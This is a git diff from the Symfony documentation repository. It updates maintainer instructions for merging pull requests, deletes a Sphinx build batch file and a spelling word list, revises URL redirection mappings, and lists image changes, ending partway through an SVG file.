Merging Pull Request 11059: dmaicher/patch-3 ... # This is important!! Say NO to push the changes now Push the changes now? (Y/n) n - Now, push with: git push gh "master" refs/notes/github-comments + Now, push with: git push gh "6.2" refs/notes/github-comments # Now, open your editor and make the needed changes ... @@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them. # Use "Minor reword", "Minor tweak", etc. as the commit message # now run the 'push' command shown above by 'gh' (it's different each time) - $ git push gh "master" refs/notes/github-comments + $ git push gh "6.2" refs/notes/github-comments Merging Pull Requests --------------------- @@ -335,6 +335,43 @@ in the tree as follows: $ git push origin $ git push upstream +Merging in the wrong branch +........................... + +A Pull Request was made against ``5.x`` but it should be merged in ``5.1`` and you +forgot to merge as ``gh merge NNNNN -s 5.1`` to change the merge branch. Solution: + +.. code-block:: terminal + + $ git checkout 5.1 + $ git cherry-pick <SHA OF YOUR MERGE COMMIT> -m 1 + $ git checkout 5.x + $ git revert <SHA OF YOUR MERGE COMMIT> -m 1 + # now continue with the normal "upmerging" + $ git checkout 5.2 + $ git merge 5.1 + $ ... + +Merging while the target branch changed +....................................... + +Sometimes, someone else merges a PR in ``5.x`` at the same time as you are +doing it. In these cases, ``gh merge ...`` fails to push. Solve this by +resetting your local branch and restarting the merge: + +.. code-block:: terminal + + $ gh merge ... + # this failed + + # fetch the updated 5.x branch from GitHub + $ git fetch upstream + $ git checkout 5.x + $ git reset --hard upstream/5.x + + # restart the merge + $ gh merge ... + .. _`symfony/symfony-docs`: https://github.com/symfony/symfony-docs .. _`Symfony Docs team`: https://github.com/orgs/symfony/teams/team-symfony-docs .. _`Symfony's respectful review comments`: https://symfony.com/doc/current/contributing/community/review-comments.html diff --git a/_build/make.bat b/_build/make.bat deleted file mode 100644 index 6d3f205272f..00000000000 --- a/_build/make.bat +++ /dev/null @@ -1,263 +0,0 @@ -@ECHO OFF - -REM Command file for Sphinx documentation - -if "%SPHINXBUILD%" == "" ( - set SPHINXBUILD=sphinx-build -) -set BUILDDIR=. -set ALLSPHINXOPTS=-c %BUILDDIR% -d %BUILDDIR%/doctrees %SPHINXOPTS% .. -set I18NSPHINXOPTS=%SPHINXOPTS% . -if NOT "%PAPER%" == "" ( - set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS% - set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS% -) - -if "%1" == "" goto help - -if "%1" == "help" ( - :help - echo.Please use `make ^<target^>` where ^<target^> is one of - echo. html to make standalone HTML files - echo. dirhtml to make HTML files named index.html in directories - echo. singlehtml to make a single large HTML file - echo. pickle to make pickle files - echo. json to make JSON files - echo. htmlhelp to make HTML files and a HTML help project - echo. qthelp to make HTML files and a qthelp project - echo. devhelp to make HTML files and a Devhelp project - echo. epub to make an epub - echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter - echo. text to make text files - echo. man to make manual pages - echo. texinfo to make Texinfo files - echo. gettext to make PO message catalogs - echo. changes to make an overview over all changed/added/deprecated items - echo. xml to make Docutils-native XML files - echo. pseudoxml to make pseudoxml-XML files for display purposes - echo. linkcheck to check all external links for integrity - echo. doctest to run all doctests embedded in the documentation if enabled - echo. coverage to run coverage check of the documentation if enabled - goto end -) - -if "%1" == "clean" ( - for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i - del /q /s %BUILDDIR%\* - goto end -) - - -REM Check if sphinx-build is available and fallback to Python version if any -%SPHINXBUILD% 2> nul -if errorlevel 9009 goto sphinx_python -goto sphinx_ok - -:sphinx_python - -set SPHINXBUILD=python -m sphinx.__init__ -%SPHINXBUILD% 2> nul -if errorlevel 9009 ( - echo. - echo.The 'sphinx-build' command was not found. Make sure you have Sphinx - echo.installed, then set the SPHINXBUILD environment variable to point - echo.to the full path of the 'sphinx-build' executable. Alternatively you - echo.may add the Sphinx directory to PATH. - echo. - echo.If you don't have Sphinx installed, grab it from - echo.http://sphinx-doc.org/ - exit /b 1 -) - -:sphinx_ok - - -if "%1" == "html" ( - %SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The HTML pages are in %BUILDDIR%/html. - goto end -) - -if "%1" == "dirhtml" ( - %SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml. - goto end -) - -if "%1" == "singlehtml" ( - %SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml. - goto end -) - -if "%1" == "pickle" ( - %SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle - if errorlevel 1 exit /b 1 - echo. - echo.Build finished; now you can process the pickle files. - goto end -) - -if "%1" == "json" ( - %SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json - if errorlevel 1 exit /b 1 - echo. - echo.Build finished; now you can process the JSON files. - goto end -) - -if "%1" == "htmlhelp" ( - %SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp - if errorlevel 1 exit /b 1 - echo. - echo.Build finished; now you can run HTML Help Workshop with the ^ -.hhp project file in %BUILDDIR%/htmlhelp. - goto end -) - -if "%1" == "qthelp" ( - %SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp - if errorlevel 1 exit /b 1 - echo. - echo.Build finished; now you can run "qcollectiongenerator" with the ^ -.qhcp project file in %BUILDDIR%/qthelp, like this: - echo.^> qcollectiongenerator %BUILDDIR%\qthelp\Symfony.qhcp - echo.To view the help file: - echo.^> assistant -collectionFile %BUILDDIR%\qthelp\Symfony.ghc - goto end -) - -if "%1" == "devhelp" ( - %SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. - goto end -) - -if "%1" == "epub" ( - %SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The epub file is in %BUILDDIR%/epub. - goto end -) - -if "%1" == "latex" ( - %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex - if errorlevel 1 exit /b 1 - echo. - echo.Build finished; the LaTeX files are in %BUILDDIR%/latex. - goto end -) - -if "%1" == "latexpdf" ( - %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex - cd %BUILDDIR%/latex - make all-pdf - cd %~dp0 - echo. - echo.Build finished; the PDF files are in %BUILDDIR%/latex. - goto end -) - -if "%1" == "latexpdfja" ( - %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex - cd %BUILDDIR%/latex - make all-pdf-ja - cd %~dp0 - echo. - echo.Build finished; the PDF files are in %BUILDDIR%/latex. - goto end -) - -if "%1" == "text" ( - %SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The text files are in %BUILDDIR%/text. - goto end -) - -if "%1" == "man" ( - %SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The manual pages are in %BUILDDIR%/man. - goto end -) - -if "%1" == "texinfo" ( - %SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo. - goto end -) - -if "%1" == "gettext" ( - %SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The message catalogs are in %BUILDDIR%/locale. - goto end -) - -if "%1" == "changes" ( - %SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes - if errorlevel 1 exit /b 1 - echo. - echo.The overview file is in %BUILDDIR%/changes. - goto end -) - -if "%1" == "linkcheck" ( - %SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck - if errorlevel 1 exit /b 1 - echo. - echo.Link check complete; look for any errors in the above output ^ -or in %BUILDDIR%/linkcheck/output.txt. - goto end -) - -if "%1" == "doctest" ( - %SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest - if errorlevel 1 exit /b 1 - echo. - echo.Testing of doctests in the sources finished, look at the ^ -results in %BUILDDIR%/doctest/output.txt. - goto end -) - -if "%1" == "coverage" ( - %SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage - if errorlevel 1 exit /b 1 - echo. - echo.Testing of coverage in the sources finished, look at the ^ -results in %BUILDDIR%/coverage/python.txt. - goto end -) - -if "%1" == "xml" ( - %SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The XML files are in %BUILDDIR%/xml. - goto end -) - -if "%1" == "pseudoxml" ( - %SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml - if errorlevel 1 exit /b 1 - echo. - echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml. - goto end -) - -:end diff --git a/_build/redirection_map b/_build/redirection_map index 3c3700792bf..c30723eac58 100644 --- a/_build/redirection_map +++ b/_build/redirection_map @@ -132,11 +132,6 @@ /cookbook/controller/upload_file /controller/upload_file /cookbook/debugging / /debug/debugging / -/cookbook/deployment/azure-website /cookbook/azure-website -/cookbook/deployment/fortrabbit /deployment/fortrabbit -/cookbook/deployment/heroku /deployment/heroku -/cookbook/deployment/index /deployment -/cookbook/deployment/platformsh /deployment/platformsh /cookbook/deployment/tools /deployment/tools /cookbook/doctrine/common_extensions /doctrine/common_extensions /cookbook/doctrine/console /doctrine @@ -161,11 +156,13 @@ /cookbook/email/index /email /cookbook/email/spool /email/spool /cookbook/email/testing /email/testing -/cookbook/event_dispatcher/before_after_filters /event_dispatcher/before_after_filters +/cookbook/event_dispatcher/before_after_filters /event_dispatcher#event-dispatcher-before-after-filters +/event_dispatcher/before_after_filters /event_dispatcher#event-dispatcher-before-after-filters /cookbook/event_dispatcher/class_extension /event_dispatcher/class_extension /cookbook/event_dispatcher/event_listener /event_dispatcher /cookbook/event_dispatcher/index /event_dispatcher /cookbook/event_dispatcher/method_behavior /event_dispatcher/method_behavior +/event_dispatcher/method_behavior /event_dispatcher#event-dispatcher-method-behavior /cookbook/expressions /security/expressions /expressions /security/expressions /cookbook/form/create_custom_field_type /form/create_custom_field_type @@ -193,7 +190,8 @@ /cookbook/logging/monolog_console /logging/monolog_console /cookbook/logging/monolog_email /logging/monolog_email /cookbook/logging/monolog_regex_based_excludes /logging/monolog_regex_based_excludes -/cookbook/profiler/data_collector /profiler/data_collector +/cookbook/profiler/data_collector /profiler#profiler-data-collector +/profiler/data_collector /profiler#profiler-data-collector /cookbook/profiler/index /profiler /cookbook/profiler/matchers /profiler/matchers /cookbook/profiler/profiling_data /profiler/profiling_data @@ -253,12 +251,14 @@ /cookbook/session/index /session /cookbook/session/limit_metadata_writes /reference/configuration/framework /session/limit_metadata_writes /reference/configuration/framework -/cookbook/session/locale_sticky_session /session/locale_sticky_session +/cookbook/session/locale_sticky_session /session#locale-sticky-session +/cookbook/locale_sticky_session /session#locale-sticky-session /cookbook/session/php_bridge /session/php_bridge /cookbook/session/proxy_examples /session/proxy_examples /cookbook/session/sessions_directory /session/sessions_directory /cookbook/symfony1 /introduction/symfony1 -/cookbook/templating/global_variables /templating/global_variables +/cookbook/templating/global_variables /templating#templating-global-variables +/templating/global_variables /templating#templating-global-variables /cookbook/templating/index /templating /cookbook/templating/namespaced_paths /templating/namespaced_paths /cookbook/templating/PHP /templating/PHP @@ -390,6 +390,9 @@ /quick_tour/the_view /quick_tour/flex_recipes /service_container/service_locators /service_container/service_subscribers_locators /templating/overriding /bundles/override +/templating/twig_extension /templates#templates-twig-extension +/templating/hinclude /templates#templates-hinclude +/templating/PHP /templates /security/custom_provider /security/user_provider /security/multiple_user_providers /security/user_provider /security/custom_password_authenticator /security/guard_authentication @@ -411,6 +414,7 @@ /security/entity_provider /security/user_provider /session/avoid_session_start /session /session/sessions_directory /session +/session/configuring_ttl /session#session-configure-ttl /frontend/encore/legacy-apps /frontend/encore/legacy-applications /configuration/external_parameters /configuration/environment_variables /contributing/code/patches /contributing/code/pull_requests @@ -426,10 +430,12 @@ /email/spool /mailer /email/testing /mailer /contributing/community/other /contributing/community +/contributing/code/core_team /contributing/core_team /profiler/storage /profiler /setup/composer /setup /security/security_checker /setup /setup/built_in_web_server /setup/symfony_server +/setup/symfony_server /setup/symfony_cli /service_container/parameters /configuration /routing/generate_url_javascript /routing /routing/slash_in_parameter /routing @@ -449,16 +455,20 @@ /reference/requirements /setup /bundles/inheritance /bundles/override /templating /templates -/templating/escaping /templates -/templating/syntax /templates -/templating/debug /templates -/templating/render_without_controller /templates -/templating/app_variable /templates +/templating/escaping /templates#output-escaping +/templating/syntax /templates#linting-twig-templates +/templating/debug /templates#the-dump-twig-utilities +/templating/render_without_controller /templates#rendering-a-template-directly-from-a-route +/templating/app_variable /templates#the-app-global-variable /templating/formats /templates -/templating/namespaced_paths /templates -/templating/embedding_controllers /templates -/templating/inheritance /templates +/templating/namespaced_paths /templates#template-namespaces +/templating/embedding_controllers /templates#embedding-controllers +/templating/inheritance /templates#template-inheritance-and-layouts /testing/doctrine /testing/database +/translation/templates /translation#translation-in-templates +/translation/debug /translation#translation-debug +/translation/lint /translation#translation-lint +/translation/locale /translation#translation-locale /doctrine/lifecycle_callbacks /doctrine/events /doctrine/event_listeners_subscribers /doctrine/events /doctrine/common_extensions /doctrine @@ -481,8 +491,9 @@ /components/translation/custom_message_formatter https://github.com/symfony/translation /components/notifier https://github.com/symfony/notifier /components/routing https://github.com/symfony/routing -/doctrine/pdo_session_storage /session/database -/doctrine/mongodb_session_storage /session/database +/session/database /session#session-database +/doctrine/pdo_session_storage /session#session-database-pdo +/doctrine/mongodb_session_storage /session#session-database-mongodb /components/dotenv https://github.com/symfony/dotenv /components/mercure /mercure /components/polyfill_apcu https://github.com/symfony/polyfill-apcu @@ -508,5 +519,63 @@ /frontend/encore/versus-assetic /frontend /components/http_client /http_client /components/mailer /mailer -/messenger/message-recorder messenger/dispatch_after_current_bus +/messenger/message-recorder /messenger/dispatch_after_current_bus /components/stopwatch https://github.com/symfony/stopwatch +/service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html +/frontend/encore/shared-entry /frontend/encore/split-chunks +/frontend/encore/page-specific-assets /frontend/encore/simple-example#page-specific-javascript-or-css +/testing/functional_tests_assertions /testing#testing-application-assertions +/components https://symfony.com/components +/components/index https://symfony.com/components +/serializer/normalizers /serializer#serializer-built-in-normalizers +/logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes +/security/named_encoders /security/named_hashers +/components/inflector /string#inflector +/security/experimental_authenticators /security +/security/user_provider /security/user_providers +/security/reset_password /security/passwords#reset-password +/security/auth_providers /security#security-authenticators +/security/form_login /security#form-login +/security/form_login_setup /security#form-login +/security/json_login_setup /security#json-login +/security/named_hashers /security/passwords#named-password-hashers +/security/password_migration /security/passwords#security-password-migration +/security/acl https://github.com/symfony/acl-bundle/blob/main/src/Resources/doc/index.rst +/security/securing_services /security#securing-other-services +/security/authenticator_manager /security +/security/multiple_guard_authenticators /security/entry_point +/security/guard_authentication /security/custom_authenticator +/components/security/authentication /security#authenticating-users +/components/security/authorization /security#access-control-authorization +/components/security/firewall /security#the-firewall +/components/security/secure_tools /security/passwords +/components/security /security +/components/var_dumper/advanced /components/var_dumper#advanced-usage +/components/yaml/yaml_format /reference/formats/yaml +/components/expression_language/syntax /reference/formats/expression_language +/components/expression_language/ast /components/expression_language#expression-language-ast +/components/expression_language/caching /components/expression_language#expression-language-caching +/components/expression_language/extending /components/expression_language#expression-language-extending +/notifier/chatters /notifier#sending-chat-messages +/notifier/texters /notifier#sending-sms +/notifier/events /notifier#notifier-events +/email /mailer +/frontend/assetic /frontend +/frontend/assetic/index /frontend +/controller/argument_value_resolver /controller/value_resolver +/frontend/ux https://symfony.com/bundles/StimulusBundle/current/index.html +/messenger/handler_results /messenger#messenger-getting-handler-results +/messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages +/messenger/multiple_buses /messenger#messenger-multiple-buses +/frontend/encore/server-data /frontend/server-data +/components/string /string +/testing/http_authentication /testing#testing_logging_in_users +/doctrine/registration_form /security#security-make-registration-form +/form/form_dependencies /form/create_custom_field_type +/doctrine/reverse_engineering /doctrine#doctrine-adding-mapping +/components/serializer /serializer +/serializer/custom_encoder /serializer/encoders#serializer-custom-encoder +/components/string /string +/form/button_based_validation /form/validation_groups +/form/data_based_validation /form/validation_groups +/form/validation_group_service_resolver /form/validation_groups diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt deleted file mode 100644 index 3b1d630fa11..00000000000 --- a/_build/spelling_word_list.txt +++ /dev/null @@ -1,346 +0,0 @@ -accessor -Akamai -analytics -Ansi -Ansible -Assetic -async -authenticator -authenticators -autocompleted -autocompletion -autoconfiguration -autoconfigure -autoconfigured -autoconfigures -autoconfiguring -autoload -autoloaded -autoloader -autoloaders -autoloading -autoprefixing -autowire -autowireable -autowired -autowiring -backend -backends -balancer -balancers -bcrypt -benchmarking -Bitbucket -bitmask -bitmasks -bitwise -Blackfire -boolean -booleans -Brasseur -browserslist -buildpack -buildpacks -bundler -cacheable -Caddy -callables -camelCase -casted -changelog -changeset -charset -charsets -checkboxes -classmap -classname -clearers -cloner -cloners -codebase -config -configs -configurator -configurators -contrib -cron -cronjobs -cryptographic -cryptographically -Ctrl -ctype -cURL -customizable -customizations -Cygwin -dataset -datepicker -decrypt -denormalization -denormalize -denormalized -denormalizing -deprecations -deserialization -deserialize -deserialized -deserializing -destructor -dev -dn -DNS -docblock -Dotenv -downloader -Doxygen -DSN -Dunglas -easter -Eberlei -emilie -enctype -entrypoints -enum -env -escaper -escpaer -extensibility -extractable -eZPublish -Fabien -failover -filesystem -filesystems -formatter -formatters -fortrabbit -frontend -getter -getters -GitHub -gmail -Gmail -Goutte -grapheme -hardcode -hardcoded -hardcodes -hardcoding -hasser -hassers -headshot -HInclude -hostname -https -iconv -igbinary -incrementing -ini -inlined -inlining -installable -instantiation -interoperable -intl -Intl -invokable -IPv -isser -issers -Jpegoptim -jQuery -js -Karlton -kb -kB -Kévin -Ki -KiB -kibibyte -Kubernetes -Kudu -labelled -latin -Ldap -libketama -licensor -lifecycle -liip -linter -localhost -Loggly -Logplex -lookups -loopback -lorenzo -Luhn -macOS -matcher -matchers -mbstring -mebibyte -memcache -memcached -MiB -michelle -minification -minified -minifier -minifies -minify -minifying -misconfiguration -misconfigured -misgendering -Monolog -mutator -nagle -namespace -namespaced -namespaces -namespacing -natively -nd -netmasks -nginx -normalizer -normalizers -npm -nyholm -OAuth -OPcache -overcomplicate -Packagist -parallelizes -parsers -PHP -PHPUnit -PID -plaintext -polyfill -polyfills -postcss -Potencier -pre -preconfigured -predefines -Predis -preload -preloaded -preloading -prepend -prepended -prepending -prepends -preprocessed -preprocessors -Procfile -profiler -programmatically -prototyped -rebase -reconfiguring -reconnection -redirections -refactorization -regexes -renderer -resolvers -responder -reStructuredText -reusability -runtime -sandboxing -schemas -screencast -semantical -serializable -serializer -sexualized -Silex -sluggable -socio -specificities -SQLite -stacktrace -stacktraces -storages -stringified -stylesheet -stylesheets -subclasses -subdirectories -subdirectory -sublcasses -sublicense -sublincense -subrequests -subtree -superclass -superglobal -superglobals -symfony -Symfony -symlink -symlinks -syntaxes -templating -testability -th -theming -throbber -timestampable -timezones -TLS -tmpfs -tobias -todo -Tomayko -Toolbelt -tooltip -Traversable -triaging -UI -uid -unary -unauthenticate -uncacheable -uncached -uncomment -uncommented -undelete -unhandled -unicode -Unix -unmapped -unminified -unported -unregister -unrendered -unserialize -unserialized -unserializing -unsubmitted -untracked -uploader -URI -validator -validators -variadic -VirtualBox -Vue -webpack -webpacked -webpackJsonp -webserver -whitespace -whitespaces -woh -Wordpress -Xdebug -xkcd -Xliff -XML -XPath -yaml -yay diff --git a/_images/components/console/completion.gif b/_images/components/console/completion.gif new file mode 100644 index 00000000000..18b3f5475c8 Binary files /dev/null and b/_images/components/console/completion.gif differ diff --git a/_images/components/console/cursor.gif b/_images/components/console/cursor.gif new file mode 100644 index 00000000000..71a74dd8637 Binary files /dev/null and b/_images/components/console/cursor.gif differ diff --git a/_images/components/console/debug_formatter.png b/_images/components/console/debug_formatter.png index 7482f39851f..4ba2c0c2b57 100644 Binary files a/_images/components/console/debug_formatter.png and b/_images/components/console/debug_formatter.png differ diff --git a/_images/components/console/process-helper-debug.png b/_images/components/console/process-helper-debug.png index 282e1336389..96c5c316739 100644 Binary files a/_images/components/console/process-helper-debug.png and b/_images/components/console/process-helper-debug.png differ diff --git a/_images/components/console/process-helper-error-debug.png b/_images/components/console/process-helper-error-debug.png index 8d1145478f2..48f6c7258d4 100644 Binary files a/_images/components/console/process-helper-error-debug.png and b/_images/components/console/process-helper-error-debug.png differ diff --git a/_images/components/console/process-helper-verbose.png b/_images/components/console/process-helper-verbose.png index c4c912e1433..abdff9812b0 100644 Binary files a/_images/components/console/process-helper-verbose.png and b/_images/components/console/process-helper-verbose.png differ diff --git a/_images/components/console/progress.png b/_images/components/console/progress.png deleted file mode 100644 index c126bff5252..00000000000 Binary files a/_images/components/console/progress.png and /dev/null differ diff --git a/_images/components/console/progressbar.gif b/_images/components/console/progressbar.gif index 6c80e6e897f..0746e399354 100644 Binary files a/_images/components/console/progressbar.gif and b/_images/components/console/progressbar.gif differ diff --git a/_images/components/form/general_flow.png b/_images/components/form/general_flow.png deleted file mode 100644 index 31650e52af6..00000000000 Binary files a/_images/components/form/general_flow.png and /dev/null differ diff --git a/_images/components/form/set_data_flow.png b/_images/components/form/set_data_flow.png deleted file mode 100644 index 3cd4b1e2f7b..00000000000 Binary files a/_images/components/form/set_data_flow.png and /dev/null differ diff --git a/_images/components/form/submission_flow.png b/_images/components/form/submission_flow.png deleted file mode 100644 index a3c6e9cfb90..00000000000 Binary files a/_images/components/form/submission_flow.png and /dev/null differ diff --git a/_images/components/messenger/basic_cycle.png b/_images/components/messenger/basic_cycle.png new file mode 100644 index 00000000000..a0558968cbb Binary files /dev/null and b/_images/components/messenger/basic_cycle.png differ diff --git a/_images/components/messenger/overview.svg b/_images/components/messenger/overview.svg index 94737e7a6da..4b82c203756 100644 --- a/_images/components/messenger/overview.svg +++ b/_images/components/messenger/overview.svg @@ -1 +1 @@ -<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="600" viewBox="0 0 642 542"><defs><symbol overflow="visible" id="a"><path d="M1.281-13.86a9.944 9.944 0 0 1 1.438-.218c.531-.05 1.02-.078 1.469-.078.507 0 1 .062 1.468.187.469.125.875.34 1.219.64.352.306.629.7.828 1.188.207.48.313 1.09.313 1.829 0 1.105-.23 1.992-.688 2.656A3.328 3.328 0 0 1 5.5-6.313l.766.735L9.016 0H7.28l-3-6.094-1.5-.312V0h-1.5zm1.5 6.454h1.203c.758 0 1.36-.227 1.797-.688.438-.469.657-1.18.657-2.14 0-.739-.184-1.348-.547-1.829-.368-.476-.907-.718-1.625-.718-.274 0-.555.011-.844.031a3.876 3.876 0 0 0-.64.094zm0 0"/></symbol><symbol overflow="visible" id="b"><path d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="c"><path d="M6.703-.5a3.32 3.32 0 0 1-1.14.547c-.43.125-.875.187-1.344.187-.637 0-1.18-.12-1.625-.359A2.859 2.859 0 0 1 1.53-1.188c-.273-.457-.476-1.007-.61-1.656A11.366 11.366 0 0 1 .735-5c0-1.707.301-3.004.907-3.89.613-.895 1.488-1.344 2.625-1.344.52 0 .96.046 1.328.14.375.094.695.215.968.36l-.406 1.25a3.462 3.462 0 0 0-1.734-.454c-.719 0-1.266.32-1.64.954-.368.625-.548 1.62-.548 2.984 0 .543.04 1.059.125 1.547.082.48.22.898.407 1.25.187.344.425.621.718.828.29.21.657.313 1.094.313.344 0 .664-.055.969-.172.3-.125.547-.266.734-.422zm0 0"/></symbol><symbol overflow="visible" id="d"><path d="M1.422-10h1.437V0H1.422zm-.266-3.047c0-.312.086-.566.266-.765a.926.926 0 0 1 .719-.313.96.96 0 0 1 .718.297c.196.187.297.45.297.781 0 .324-.101.578-.297.766-.187.18-.43.265-.718.265a.971.971 0 0 1-.72-.28c-.179-.188-.265-.438-.265-.75zm0 0"/></symbol><symbol overflow="visible" id="e"><path d="M3.594-4.14L4-2.157h.047l.36-2.031L6.156-10h1.53L4.267.219h-.704L.079-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="f"><path d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="g"><path d="M8.219-10.813c0 .344-.043.688-.125 1.032-.074.344-.2.672-.375.984-.18.305-.399.574-.657.813a2.42 2.42 0 0 1-.937.546v.079c.313.062.613.171.906.328.301.156.563.37.782.64.226.274.41.606.546 1 .133.399.204.868.204 1.407 0 .718-.118 1.343-.344 1.875-.23.53-.543.964-.938 1.296-.386.336-.84.579-1.36.735a5.541 5.541 0 0 1-1.624.234H3.64c-.243 0-.5-.011-.782-.031a25.977 25.977 0 0 1-.828-.078 4.932 4.932 0 0 1-.75-.14v-13.782c.395-.082.864-.148 1.407-.203.539-.05 1.124-.078 1.75-.078.457 0 .91.043 1.359.125.457.086.863.246 1.219.484.363.242.656.578.875 1.016.218.437.328 1.011.328 1.719zM4.422-1.219c.351 0 .68-.054.984-.172.313-.113.582-.28.813-.5a2.43 2.43 0 0 0 .562-.828c.133-.332.203-.719.203-1.156 0-.55-.086-.992-.25-1.328A2.029 2.029 0 0 0 6.078-6a2.21 2.21 0 0 0-.906-.375 5.234 5.234 0 0 0-1.047-.11H2.781v5.126c.082.03.188.054.313.062.125.012.258.027.406.047.156.012.313.023.469.031h.453zM3.594-7.78c.187 0 .398-.004.64-.016a4.08 4.08 0 0 0 .61-.062 3.05 3.05 0 0 0 1.265-.97c.352-.444.532-1 .532-1.655 0-.438-.063-.805-.188-1.11a1.651 1.651 0 0 0-.484-.703c-.211-.176-.453-.3-.735-.375a3.604 3.604 0 0 0-.875-.11c-.343 0-.656.012-.937.032-.281.023-.496.043-.64.063v4.906zm0 0"/></symbol><symbol overflow="visible" id="h"><path d="M2.484-10v6.125c0 1.012.098 1.734.297 2.172.207.43.586.64 1.14.64.282 0 .532-.054.75-.171.22-.114.411-.258.579-.438.176-.187.332-.398.469-.64.133-.25.242-.5.328-.75V-10h1.437v7.156c0 .48.016.98.047 1.5.032.512.082.961.157 1.344H6.655l-.36-1.406h-.062c-.218.449-.543.836-.968 1.156-.43.32-.965.484-1.61.484-.43 0-.804-.054-1.125-.156A1.725 1.725 0 0 1 1.72-.5c-.23-.281-.403-.66-.516-1.14-.105-.489-.156-1.114-.156-1.876V-10zm0 0"/></symbol><symbol overflow="visible" id="i"><path d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="j"><path d="M7.938-6.453H2.78V0h-1.5v-14h1.5v6.156h5.156V-14h1.5V0h-1.5zm0 0"/></symbol><symbol overflow="visible" id="k"><path d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 